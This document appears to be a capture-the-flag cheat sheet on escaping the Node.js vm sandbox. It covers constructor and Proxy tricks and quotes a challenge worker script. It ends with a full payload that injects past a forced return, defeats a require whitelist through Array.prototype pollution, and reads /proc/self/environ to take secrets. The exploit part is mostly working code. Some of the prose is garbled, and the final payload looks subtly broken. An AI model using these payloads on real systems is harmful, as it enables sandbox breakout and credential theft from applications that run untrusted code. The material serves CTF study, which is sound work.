# Escaping nodejs vm

## Access global variable

```javascript
// A global variable the sandbox isn't supposed to see:

flag = "N2L{this_the_global_flag}"; 
```

### Using constructor

```javascript
const code2 = `(this.constructor.constructor("return flag"))()`;
console.log(vm.runInContext(code2, vm.createContext({}))); // -> N2L{this_the_global_flag}
```

### Using new Proxy

```javascript
new Proxy({}, {
  set: function(me, key, value) { (value.constructor.constructor('console.log(flag)'))() }
})
```

```javascript
new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('console.log(flag)'))() }
})
```

### Using throw an exception

```javascript
throw new Proxy({}, {
  get: function(me, key) {
	 const cc = arguments.callee.caller;
	 if (cc != null) {
		(cc.constructor.constructor('console.log(flag)'))();
	 }
	 return me[key];
  }
})
```

## Bypassing force return & proccess null&#x20;

```javascript
const { workerData, parentPort } = require('worker_threads');

require("./worker_globals.js");

const vm = require('vm');

const secret = process.env["SECRET"];
const flag = process.env["FLAG"];

const stringifyVMOutput = (value) => {
    let result = '';

    switch (typeof value) {
        case 'string':
        case 'object':
            result = JSON.stringify(value);
        
        default:
            result = String(value);
    };

    const cr3Pattern = /cr3\{(.*?)\}/i;
    const cr3MatchSecret = secret.match(cr3Pattern);
    const cr3MatchFlag = flag.match(cr3Pattern);

    if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
        return "you don't wanna see it, trust me...";
    }

    return result;
};

process.env = null;
process = null;
fetch = null;

const moduleRequire = globalThis.module.require;
globalThis.module.require = (id) => {
    const whitelist = [
        "crypto",
        "path",
        "buffer",
        "util",
        "worker_threads",
        "stream",
        "string_decoder",
        "console",
        "perf_hooks"
    ];

    if (!whitelist.some(p => id == p))
        return;
    
    return moduleRequire(id);
}
let result;
try {
    result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));

    parentPort.postMessage(stringifyVMOutput(result));
} catch (e) {
    parentPort.postMessage(e.message);
}
```

in this code we get force return, we can bypass it using&#x20;

```javascript
},function p(){ 
```

so it will , so example&#x20;

```javascript
(() => { return },function p(){ we can control thiss })();
```

so what the plans to get the env flag? we can using constructor and method [#using-new-proxy](#using-new-proxy "mention")

but we can see that we get require restricted. so how to bypass it? we can use prototype pollution&#x20;

```javascript
Array.prototype.some = () => true
```

it will prototype all the array. and we can bypass it

here are the full payload to read the env ( we cant use child\_proccess because the node version )

```javascript
},function p(){ return new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('Array.prototype.some = () => true;r=globalThis.module.require;r(r("fs").readFileSync("/proc/self/environ").toString())'))() }
})
```

| Refference                                                                                            |
| ----------------------------------------------------------------------------------------------------- |
| <https://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON%20CTF%202023/Harmony/exp/index.js> |
| <https://hackmd.io/@Solderet/HJ52F9496>                                                               |
| <https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af>                                  |
